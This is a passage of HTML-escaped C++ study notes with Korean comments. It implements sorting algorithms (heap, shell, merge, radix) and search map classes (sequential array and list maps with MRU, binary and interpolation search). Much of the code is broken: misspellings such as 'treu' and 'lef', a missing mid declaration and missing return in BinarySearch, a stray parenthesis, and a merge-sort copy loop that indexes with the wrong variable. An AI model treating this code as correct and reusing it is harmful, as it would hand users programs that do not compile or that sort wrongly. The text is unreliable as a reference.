k;<br>&nbsp;Heap&lt;T&gt; heap(a,n);<br>&nbsp;heap.SetHeapLen(n);</p><p>&nbsp;//내부노드에 대해서만 DownHeap<br>&nbsp;for (k = n/2; k &gt;= 1; k--)<br>&nbsp;&nbsp;heap.DownHeap(k);<br>&nbsp;while(n&gt;1)<br>&nbsp;&nbsp;heap.a(n--) = heap.Extract();<br>}</p><p>//ShellSort h(n) = 2h(n-1) <br>template &lt;class T&gt;<br>void ShellSort(T a[], int n)<br>{<br>&nbsp;int i,j,k,h;<br>&nbsp;T v;<br>&nbsp;for ( h = n/2 ; h &gt; 0 ; h /= 2 )<br>&nbsp;{<br>&nbsp;&nbsp;for ( i = 0 ; i &lt; h ; i++ ) // 변이<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;for ( j = i+h ; j &lt; n ; j += h )<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;v = a[j];<br>&nbsp;&nbsp;&nbsp;&nbsp;k = j;<br>&nbsp;&nbsp;&nbsp;&nbsp;while ( k &gt; h-1 &amp;&amp; a[k-h] &gt; v)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a[k] = a[k-h];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;k -= h;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;a[k] = v;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}<br>//ShellSort h(n) = 3h(n-1)+1 <br>template &lt;class T&gt;<br>void ShellSort_3h(T a[], int n)<br>{<br>&nbsp;int i,j,k,h;<br>&nbsp;T v;<br>&nbsp;for( h =1; h&lt; n; h = 3*h+1);<br>&nbsp;for ( h /=3 ; h &gt; 0 ; h /= 3 )<br>&nbsp;{<br>&nbsp;&nbsp;for ( i = 0 ; i &lt; h ; i++ ) // 변이<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;for ( j = i+h ; j &lt; n ; j += h )<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;v = a[j];<br>&nbsp;&nbsp;&nbsp;&nbsp;k = j;<br>&nbsp;&nbsp;&nbsp;&nbsp;while ( k &gt; h-1 &amp;&amp; a[k-h] &gt; v)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;a[k] = a[k-h];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;k -= h;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;a[k] = v;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}</p><p>template &lt;class T&gt;<br>void MergeSort(T a[], int n)<br>{<br>&nbsp;int i,j,k,first,second,size;<br>&nbsp;T *b;<br>&nbsp;b = new T[n];<br>&nbsp;assert(b != 0);<br>&nbsp;for(size = 1; size &lt;n; size *= 2)<br>&nbsp;{<br>&nbsp;&nbsp;first = 0;<br>&nbsp;&nbsp;second = size;<br>&nbsp;&nbsp;while(second &lt; n)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;i = first;<br>&nbsp;&nbsp;&nbsp;j = second;<br>&nbsp;&nbsp;&nbsp;k = first;<br>&nbsp;&nbsp;&nbsp;while (i&lt;first + size || (j&lt;second + size &amp;&amp; j &lt; n))<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if (a[i] &gt; a[j]) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (j &lt;second + size &amp;&amp; j &lt;n)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b[k++] = a[j++];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b[k++] = a[i++];<br>&nbsp;&nbsp;&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (i &lt; first + size)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b[k++] = a[i++];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b[k++] = a[j++];<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;first += 2*size;<br>&nbsp;&nbsp;&nbsp;second&nbsp; += 2*size;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;for (i=0; i&lt;n; i++)<br>&nbsp;&nbsp;&nbsp;a[i] = b[i];<br>&nbsp;}<br>&nbsp;delete [] b;<br>}</p><p>template &lt;class T&gt;<br>void MergeSort_ex(T a[], int n)<br>{<br>&nbsp;int i,j,k,first,second,size;<br>&nbsp;T *b;<br>&nbsp;b = new T[n];<br>&nbsp;assert(b != 0);<br>&nbsp;T *src = a;<br>&nbsp;T *tmp = b;<br>&nbsp;for(size = 1; size &lt;n; size *= 2)<br>&nbsp;{<br>&nbsp;&nbsp;first = 0;<br>&nbsp;&nbsp;second = size;<br>&nbsp;&nbsp;while(second &lt; n)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;i = first;<br>&nbsp;&nbsp;&nbsp;j = second;<br>&nbsp;&nbsp;&nbsp;k = first;<br>&nbsp;&nbsp;&nbsp;while (i&lt;first + size || (j&lt;second + size &amp;&amp; j &lt; n))<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;if (src[i] &gt; src[j]) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (j &lt;second + size &amp;&amp; j &lt;n)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp[k++] = src[j++];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp[k++] = src[i++];<br>&nbsp;&nbsp;&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (i &lt; first + size)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp[k++] = src[i++];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp[k++] = src[j++];<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;first += 2*size;<br>&nbsp;&nbsp;&nbsp;second&nbsp; += 2*size;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;// <br>&nbsp;&nbsp;T *t= src;src = tmp; tmp = t;<br>&nbsp;}<br>&nbsp;if(tmp == a)<br>&nbsp;&nbsp;for (int l =0 ; l&lt;n; l++) a[i] = b[i];<br>&nbsp;delete [] b;<br>}</p><p>template &lt;class T&gt;<br>bool CheckSort(T a[], int n)<br>{<br>&nbsp;for ( int i=0; i &lt; n-1 ; i++ )<br>&nbsp;{<br>&nbsp;&nbsp;if( a[i] &gt; a[i+1] ) return false; <br>&nbsp;}<br>&nbsp;return true;<br>}</p><p>//기수 교환 정렬<br>unsigned long bits(unsigned long x, int k, int j)<br>{<br>&nbsp;return (x &gt;&gt; k) &amp; ~(~0 &lt;&lt; j);<br>}<br>void RadixExchangeSort(unsigned long a[], int n, int b = 31)<br>{<br>&nbsp;unsigned long t;<br>&nbsp;int i,j;</p><p>&nbsp;if ( n &gt; 1 &amp;&amp; b &gt;= 0 ) //종료조건<br>&nbsp;{<br>&nbsp;&nbsp;i = 0;<br>&nbsp;&nbsp;j = n - 1;<br>&nbsp;&nbsp;while ( true )<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;while (bits(a[i],b,1) == 0 &amp;&amp; i &lt; j) i ++;<br>&nbsp;&nbsp;&nbsp;while (bits(a[j],b,1) != 0 &amp;&amp; i &lt; j) j --;<br>&nbsp;&nbsp;&nbsp;if ( i &gt;= j ) break;<br>&nbsp;&nbsp;&nbsp;t = a[i]; a[i] = a[j]; a[j] = t;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if ( bits(a[n-1],b,1) == 0) j++;<br>&nbsp;&nbsp;RadixExchangeSort(a,j,b-1);<br>&nbsp;&nbsp;RadixExchangeSort(a+j,n-j,b-1);<br>&nbsp;}<br>}<br>void RadixExchangeSort_nr(unsigned long a[], int n)<br>{<br>&nbsp;unsigned long t;<br>&nbsp;int i,j;<br>&nbsp;int l,r;<br>&nbsp;int b = 31; // assume 32bit<br>&nbsp;ArrayStack&lt;int&gt; stack(32*3 + 3);<br>&nbsp;l = 0; r = n-1;<br>&nbsp;stack.Push(b); stack.Push(r);stack.Push(l);<br>&nbsp;while (!stack.IsEmpty()) {<br>&nbsp;&nbsp;l = stack.Pop(); r = stack.Pop(); b = stack.Pop();<br>&nbsp;&nbsp;if ( r &gt; l &amp;&amp; b &gt;= 0 ) //종료조건<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;i = l; j = r;<br>&nbsp;&nbsp;&nbsp;while ( true )<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;while (bits(a[i],b,1) == 0 &amp;&amp; i &lt; j) i ++;<br>&nbsp;&nbsp;&nbsp;&nbsp;while (bits(a[j],b,1) != 0 &amp;&amp; i &lt; j) j --;<br>&nbsp;&nbsp;&nbsp;&nbsp;if ( i &gt;= j ) break;<br>&nbsp;&nbsp;&nbsp;&nbsp;t = a[i]; a[i] = a[j]; a[j] = t;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;if ( bits(a[r],b,1) == 0) j++;<br>&nbsp;&nbsp;&nbsp;stack.Push(b-1); stack.Push(r);stack.Push(j);<br>&nbsp;&nbsp;&nbsp;stack.Push(b-1); stack.Push(j-1);stack.Push(l);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}</p><p>void StraightRaixSort(unsigned long a[], int n)<br>{<br>&nbsp;int i,j;<br>&nbsp;unsigned long *b, *count;<br>&nbsp;unsigned long w = 32;<br>&nbsp;unsigned long m = 8;<br>&nbsp;unsigned long mv = (1 &lt;&lt; m);</p><p>&nbsp;b = new unsigned long [n];<br>&nbsp;count = new unsigned long [mv];<br>&nbsp;for(i = 0; i&lt; w/m; i++){<br>&nbsp;&nbsp;for (j =0; j &lt; mv; j++)<br>&nbsp;&nbsp;&nbsp;count[j] = 0;<br>&nbsp;&nbsp;for (j =0; j &lt; n; j++)<br>&nbsp;&nbsp;&nbsp;count[bits(a[j],i*m,m)]++;<br>&nbsp;&nbsp;for (j =1; j &lt; mv; j++)<br>&nbsp;&nbsp;&nbsp;count[j] = count[j] + count[j-1];<br>&nbsp;&nbsp;for (j = n-1; j &gt;= 0; j--)<br>&nbsp;&nbsp;&nbsp;b[--count[bits(a[j],i*m,m)]] = a[j];<br>&nbsp;&nbsp;for (j = 0; j &lt; n; j++)<br>&nbsp;&nbsp;&nbsp;a[j] = b[j];<br>&nbsp;}<br>&nbsp;delete []b;<br>&nbsp;delete []count;<br>}</p><p><br>/*<br>&nbsp;Search <br>&nbsp; -주어진 자료집합에서 원하는 레크드를 찾는 것<br>&nbsp; -Issues:삽입/검색/삭제<br>&nbsp; -자료집합의 조직화 여부에 따라 성능이 달라짐<br>&nbsp;순차검색<br>&nbsp; -ArraySeqMap (삽입O(1), 검색O(N), 삭제O(N))<br>&nbsp; -ListSeqMap (삽입O(1), 검색O(N), 삭제O(1))<br>&nbsp;이분검색<br>&nbsp; -BinMap(삽입:O(N) 검색:O(LogN) 삭제O(N))<br>&nbsp;내분검색<br>&nbsp; -ItpMap(삽입:O(N),검색:O(loglogN), 삭제O(N))<br>*/</p><p>/*<br>&nbsp;*Map을 사용하기 위한 class 구조<br>&nbsp;받드시 정의해야 할 것들<br>&nbsp;*Default Constructor<br>&nbsp;*Copy Constructor<br>&nbsp;*operator =<br>&nbsp;*operator ==<br>&nbsp;*operator &gt;<br>*/<br>class Person<br>{<br>public:<br>&nbsp;int m_id; //key<br>&nbsp;string m_name;<br>&nbsp;Person() : m_id(0) {}<br>&nbsp;Person(int id, const string&amp; name) : m_id(id), m_name(name){}<br>&nbsp;Person(const Person&amp; p) { m_id = p.m_id;m_name = p.m_name;}<br>&nbsp;Person operator = (const Person&amp; p) {<br>&nbsp;&nbsp;m_id = p.m_id; m_name = p.m_name; return *this;<br>&nbsp;}<br>&nbsp;bool operator == (const Person&amp; p) const { return m_id == p.m_id;}<br>&nbsp;bool operator &gt; (const Person&amp; p) const { return m_id&gt; p.m_id;}<br>&nbsp;<br>&nbsp;//Radix Search를 위한 연산자 정의 <br>&nbsp;unsigned long operator&gt;&gt;(const unsigned long i) const {return m_id &gt;&gt; i;};<br>&nbsp;friend class PersonHash;<br>//&nbsp;private 을 접근 허용하는 것이다. </p><p>};</p><p>class PersonHash<br>{<br>public:<br>&nbsp;unsigned long hash(const Person&amp; p)const {<br>&nbsp;&nbsp;return (unsigned long)p.m_id * 11;<br>&nbsp;}<br>};</p><p>/*<br>&nbsp;Sequential Search?<br>&nbsp; -무순서로 저장된 자료집합에서 검색하고자 <br>&nbsp; 하는 key를 처음 부터 차례로 비교해서 찾아 내는 방법<br>&nbsp;검색하는 방법<br>&nbsp; - 삽입(insert)<br>&nbsp;&nbsp; 자료집합(array)의 제일 뒤에 새로운 자료추가 (갯수 증각)<br>&nbsp; - 검색(Find)<br>&nbsp;&nbsp; 자료집합의 처음부터 key를 찾음<br>&nbsp; - 제거(Remove)<br>&nbsp;&nbsp; 자료집합에서 keyfmf 찾아 해당 레크드를 삭제하고 <br>&nbsp;&nbsp; 뒷부분을 앞으로 당김 (메모리 이동, 갯수감속)<br>&nbsp;Complexity<br>&nbsp; -Insertion : O(1)<br>&nbsp; -Find : O(N)<br>&nbsp; -Remove: O(N)</p><p>*/<br>template &lt;class T&gt; class ArraySeqMap<br>{<br>public:<br>&nbsp;struct MapPos{<br>&nbsp;&nbsp;T key;<br>&nbsp;&nbsp;long index;<br>&nbsp;};<br>public:<br>&nbsp;ArraySeqMap(int nSize = 100);<br>&nbsp;~ArraySeqMap() {delete []m_pArray;}</p><p>&nbsp;//utility function<br>&nbsp;long GetCount() const {return m_nLen;}<br>&nbsp;bool IsEmpty() const { return m_nLen == 0 ;}<br>&nbsp;void RemoveAll() const { m_nLen = 0;}</p><p>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value) const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>&nbsp;bool FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool FindNext(T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool RemoveAt(const MapPos&amp; pos);<br>protected:<br>&nbsp;T *m_pArray;<br>&nbsp;long m_nArraySize;<br>&nbsp;long m_nLen;<br>&nbsp;virtual bool _find(MapPos&amp; pos) const;<br>};<br>template &lt;class T&gt;<br>bool ArraySeqMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;//check for too may items<br>&nbsp;if(m_nLen + 1 &gt; m_nArraySize)<br>&nbsp;&nbsp;return false;</p><p>&nbsp;// add new item to end<br>&nbsp;m _pArray[m_nLen++] = value;<br>&nbsp;return true;<br>}</p><p>template &lt;class T&gt;<br>bool ArraySeqMap&lt;T&gt;::_find(MapPos&amp; pos) const<br>{<br>&nbsp;if(pos.index &gt;= m_nLen) //범위를 벗어나면<br>&nbsp;&nbsp;return false;<br>&nbsp;<br>&nbsp;bool found = false;<br>&nbsp;for(int i = pos.index; i &lt; m_nLen; i++){<br>&nbsp;&nbsp;if(m_pArray[i] == pos.key) {<br>&nbsp;&nbsp;&nbsp;found = true;<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;if (found){<br>&nbsp;&nbsp;pos.index = i;<br>&nbsp;&nbsp;return treu;<br>&nbsp;}else {<br>&nbsp;&nbsp;return false;<br>&nbsp;}<br>}<br>template &lt;class T&gt;<br>bool ArraySeqMap&lt;T&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>&nbsp;MapPos pos;<br>&nbsp;pos.index = 0;<br>&nbsp;pos.key = key;<br>&nbsp;if( !_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_pArray[pos.index];<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool ArraySeqMap&lt;T&gt;::FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const<br>{<br>&nbsp;pos.index = 0;<br>&nbsp;pos.key = key;<br>&nbsp;if (!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_pArray[pos.index];<br>&nbsp;return true;<br>}<br>template &lt;class T&gt; <br>bool ArraySeqMap&lt;T&gt;::FindNext(T&amp; value,MapPos&amp; pos) const<br>{<br>&nbsp;pos.index ++;<br>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_pArray[pos.index];<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool ArraySeqMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;MapPos pos;<br>&nbsp;pos.index = 0;<br>&nbsp;pos.key = key;<br>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;RemoveAt(pos);<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool ArraySeqMap&lt;T&gt;::RemoveAt(const MapPos&amp; pos)<br>{<br>&nbsp;// 뒷녀석들 당기기<br>&nbsp;for(int i = pos.index +1; i&lt; m_nLen; i++)<br>&nbsp;&nbsp;m_pArray[i-1] = m_pArray[i];<br>&nbsp;m_nLen--;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;ArraySeqMap개선:Lazy Deletion<br>&nbsp;:키값과 Excape과의 구분이 가능할 경우<br>&nbsp;-Remove 후 메모리를 이동하지 않고<br>&nbsp;-삭제되었다는 표시만을 해두는 방법<br>&nbsp;-예: key는 양의 정수만 있다면, Escape코드로 -1을 사용<br>&nbsp;- 삽입의 효율을 위해 Empty List를 사용하는 것이 좋음<br>&nbsp; *Empty List: 삭제된 곳의 index를 저장하는 리스트<br>*/</p><p>/*<br>&nbsp;Linked List를 이용한 순차검색<br>&nbsp;잇점<br>&nbsp;Remove 동작이 단순하다.<br>&nbsp; Array로 했을 경우 빈곳을 메우기 위한 메모리 이동<br>&nbsp;그러나 <br>&nbsp; 느리다.</p><p>&nbsp;Complexity<br>&nbsp; -Insert : O(1)<br>&nbsp; -Find : O(N)<br>&nbsp; -Delete : O(1)</p><p>*/<br>template &lt;class T&gt; class ListSeqMap<br>{<br>public:<br>&nbsp;struct MapPos{<br>&nbsp;&nbsp;T key;<br>&nbsp;&nbsp;POS pos;<br>&nbsp;};<br>public:<br>&nbsp;ListSeqMap(){}<br>&nbsp;~ListSeqMap() {}</p><p>&nbsp;//utility function<br>&nbsp;long GetCount() const {return m_list.GetCount();} <br>&nbsp;bool IsEmpty() const { return m_list.IsEmpty();}<br>&nbsp;void RemoveAll() const { m_list.RemoveAll();}</p><p>&nbsp;//operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value);<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>&nbsp;bool FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos);<br>&nbsp;bool FindNext(T&amp; value, MapPos&amp; pos);<br>&nbsp;bool RemoveAt(const MapPos&amp; pos);<br>protected:<br>&nbsp;DoubleList&lt;T&gt; m_list;<br>&nbsp;virtual bool _find(MapPos&amp; pos) const;</p><p>};<br>template &lt;class T&gt; <br>bool ListSeqMap&lt;T&gt;::_find(MapPos&amp; pos) const<br>{<br>&nbsp;if(!m_list._find(pos.key, pos.pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;else<br>&nbsp;&nbsp;return true;<br>}<br>/*<br>&nbsp;MRU 기법 적용 (Most Recently Used)<br>&nbsp; -가장 최근에 검색된 레코드를 앞으로 옮김<br>&nbsp; -실세계에서 검색은<br>&nbsp;&nbsp; *전체집합 중 극히 일부분에 대해 이루어지고<br>&nbsp;&nbsp; *그 일부분에 대해 중복적으로 이루어지는 경우가 많다.<br>&nbsp;&nbsp; *ex)전체 회원데이타베이스에서 Royalty높은 회원은 소수다.<br>*/</p><p>template &lt;class T&gt; <br>bool ListSeqMap&lt;T&gt;::Find(const T&amp; key, T&amp; value)<br>{<br>&nbsp;MapPos pos;<br>&nbsp;pos.pos = 0;<br>&nbsp;pos.key = key;</p><p>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_list.GetAt(pos.pos);</p><p>&nbsp;//MRU 법칙으로 찾은 갑을 제일 앞으로 올림<br>&nbsp;m_list.DeleteAt(pos.pos); //지우고<br>&nbsp;m_list.AddHead(value); //해더 뒤에 넣는다.<br>&nbsp;return true;<br>}<br>template &lt;class T&gt; <br>bool ListSeqMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;m_list.AddTail(value);<br>&nbsp;return true;<br>}<br>template &lt;class T&gt; <br>bool ListSeqMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;MapPos pos; <br>&nbsp;pos.pos = 0;<br>&nbsp;pos.key = key;</p><p>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;</p><p>&nbsp;RemoveAt(pos);<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool ListSeqMap&lt;T&gt;::RemoveAt(const MapPos&amp; pos)<br>{<br>&nbsp;bool result = true;<br>&nbsp;try {<br>&nbsp;&nbsp;m_list.DeleteAt(pos.pos);<br>&nbsp;} catch (DoubleList&lt;T&gt;::Exception) {<br>&nbsp;&nbsp;result = false;<br>&nbsp;}<br>&nbsp;return result;<br>}<br>template &lt;class T&gt;<br>bool ListSeqMap&lt;T&gt;::FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos)<br>{<br>&nbsp;pos.pos = 0;<br>&nbsp;pos.key = key;</p><p>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_list.GetAt(pos.pos);<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool ListSeqMap&lt;T&gt;::FindNext(T&amp; value, MapPos&amp; pos)<br>{<br>&nbsp;m_list.GetNext(pos.pos);<br>&nbsp;if (pos.pos == 0)<br>&nbsp;&nbsp;return false;<br>&nbsp;if(!_find(pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;value = m_list.GetAt(pos.pos);<br>&nbsp;return true;<br>}<br>&nbsp;</p><p>/* <br>&nbsp;이분검색 Binary Search<br>&nbsp;-자료집합은 정렬되어 있어야한다. <br>&nbsp;-구간크기 &gt; 0, key값과 중앙값을 비교하여<br>&nbsp; *key 값 == 중앙값이면 찾은 것이다.<br>&nbsp; *key 값 &gt; 중앙값이면 오른쪽 구간 선택 <br>&nbsp;-Insert: 정렬된 상태가 유지 되어야 하므로<br>&nbsp; *삽입정렬 알고리즘<br>&nbsp;-Del: 삭제한 곳 뒤의 자료들을 앞으로 당긴다.<br>&nbsp; *<br>&nbsp;<br>&nbsp;Complexity<br>&nbsp; -Insert : O(N)<br>&nbsp; -Find : O(logN)<br>&nbsp; -Del : O(N)<br>*/<br>template &lt;class T&gt;<br>int BinarySearch(T a[], int left, int right, T key)<br>{<br>&nbsp;while(right &gt;=left){<br>&nbsp;&nbsp;mid = (left + right)/2;<br>&nbsp;&nbsp;if(a[mid] == key) return mid;<br>&nbsp;&nbsp;if(key &gt; a[mid]) left = mid+1;<br>&nbsp;&nbsp;else right = mid -1;<br>&nbsp;}<br>&nbsp;// Not found!!!<br>}</p><p>template &lt;class T&gt; class BinMap : public ArraySeqMap&lt;T&gt; <br>{<br>public:<br>&nbsp;BinMap(int nSize =100): ArraySeqMap&lt;T&gt;(nSize) {}<br>&nbsp;~BinMap() {} // m_pArray는 ~ArraySeqMap에저 지워줌<br>&nbsp;//operation<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const;<br>&nbsp;bool FindNext(T&amp; value, MapPos&amp; pos)const;<br>protected:<br>&nbsp;bool _find(MapPos&amp; pos) const;<br>};<br>template &lt;class T&gt; <br>bool BinMap&lt;T&gt;::_find(MapPos&amp; pos) const<br>{<br>&nbsp;int mid;<br>&nbsp;int left = 0;<br>&nbsp;int right = m_nLen -1;<br>&nbsp;while (right &gt;= left) {<br>&nbsp;&nbsp;mid = (right +left) / 2;<br>&nbsp;&nbsp;if(pos.key == m_pArray[mid]) {<br>&nbsp;&nbsp;&nbsp;pos.index = mid;<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if (pos.key &gt; m_pArray[mid]) lef = mid + 1;<br>&nbsp;&nbsp;else right = mid -1;<br>&nbsp;}<br>&nbsp;return false;<br>}<br>template &lt;class T&gt;<br>bool BinMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;if(!ArraySeqMap&lt;T&gt;::Insert(value))<br>&nbsp;&nbsp;return false;</p><p>&nbsp;//Insertion Sort<br>&nbsp;for(int j = m_nLen - 1; j&gt;0; j--)<br>&nbsp;{<br>&nbsp;&nbsp;if(m_pArray[j] &gt; value)<br>&nbsp;&nbsp;&nbsp;m_pArray[j] = m_pArray[j-1];<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;break;<br>&nbsp;}<br>&nbsp;m_pArray[j] = value;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;ArraySeqMap 과의 차이가있음 <br>*/<br>template &lt;class T&gt;<br>bool BinMap&lt;T&gt;::FindFirst(const T&amp; key, T&amp; value, MapPos&amp; pos) const<br>{<br>&nbsp;if(!ArraySeqMap&lt;T&gt;::FindFirst(key,value,pos))<br>&nbsp;&nbsp;return false;<br>&nbsp;for(int j = pos.index; j&gt;0;j--){<br>&nbsp;&nbsp;if(!(m_pArray[j-1]==value)) break;<br>&nbsp;}<br>&nbsp;pos.index =j;<br>&nbsp;value = m_pArray[pos.index];<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool BinMap&lt;T&gt;::FindNext(T&amp; value, MapPos&amp; pos) const<br>{<br>&nbsp;if(pos.index + 1 &gt;= m_nLen) return false;<br>&nbsp;if(m_pArray[pos.index +1] == pos.key) {<br>&nbsp;&nbsp;pos.index++;<br>&nbsp;&nbsp;value = m_pArray[pos.index];<br>&nbsp;&nbsp;return true;<br>&nbsp;} else {<br>&nbsp;&nbsp;return false;<br>&nbsp;}<br>}</p><p>/* <br>&nbsp;내분 검색 Interpolation Search<br>&nbsp;:자료집합이 정렬된 선형 분포를 가진다고 가정하고<br>&nbsp; -내분법(Interpolation)에 의해 mid값을 찾음<br>&nbsp; -그외 과정은 이분검색과 동일<br>&nbsp; -산술연산 가능한 숫자키만 가능<br>&nbsp;&nbsp;&nbsp; *,/,-.+ 연산이 가능해야함<br>&nbsp;<br>&nbsp;&nbsp; 이분법<br>&nbsp;&nbsp; (right-left):(mid-left) = (a[right] -a[left]):(key - a[left])<br>&nbsp;&nbsp; (mid-left)*(a[right]-a[left])=(right-left)*(key -a[left])<br>&nbsp;&nbsp; mid = left + (right-left)*(key-a[left])/(a[right]-a[left])</p><p>&nbsp;Complexity<br>&nbsp; -삽입 : O(N)<br>&nbsp; -검색 : O(log logN)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 성능은 그렇게 좋지 않음<br>&nbsp;&nbsp; 비교는 덜하나 무거운 double계산..;;<br>&nbsp;&nbsp; 이분검색 보다 빠르다는 것은 모름..;;</p><p>&nbsp; -삭제 : O(N)<br>*/<br>template &lt;class T&gt; class ItpMap : public BinMap&lt;T&gt;<br>{<br>public:<br>&nbsp;ItpMap(int nSize = 100) : BinMap&lt;T&gt;(nSize){}<br>&nbsp;~ItpMap(){}<br>protected:<br>&nbsp;bool _find(MapPos&amp; pos) const;<br>};<br>template &lt;class T&gt;<br>bool ItpMap&lt;T&gt;::_find(MapPos&amp; pos) const<br>{<br>&nbsp;int mid;<br>&nbsp;int left = 0;<br>&nbsp;int right = m_nLen -1;<br>&nbsp;while(right &gt;= left) {<br>&nbsp;&nbsp;if(!(m_pArray[right] == m_pArray[left]))){<br>&nbsp;&nbsp;&nbsp;mid = (int)(left + (double)(pos.key - m_pArray[left])*<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (right - left)/(m_pArray[right]-m_pArray[left]));<br>&nbsp;&nbsp;&nbsp;if(mid &lt;left)mid = left;<br>&nbsp;&nbsp;&nbsp;if(mid &gt;right)mid = right;<br>&nbsp;&nbsp;} else<br>&nbsp;&nbsp;&nbsp;mid = left; // 젯수가 0 인 경우,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// left와 rigtht사이는 모두 같은 값, 아무거나 리턴<br>&nbsp;&nbsp;if ( pos.key == m_pArray[mid]) {<br>&nbsp;&nbsp;&nbsp;pos.index = mid;<br>&nbsp;&nbsp;&nbsp;return true;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if (pos.key &gt; m_pArray[mid]) left = mid +1;<br>&nbsp;&nbsp;else right = mid -1;<br>&nbsp;}<br>&nbsp;// Not found<br>&nbsp;return 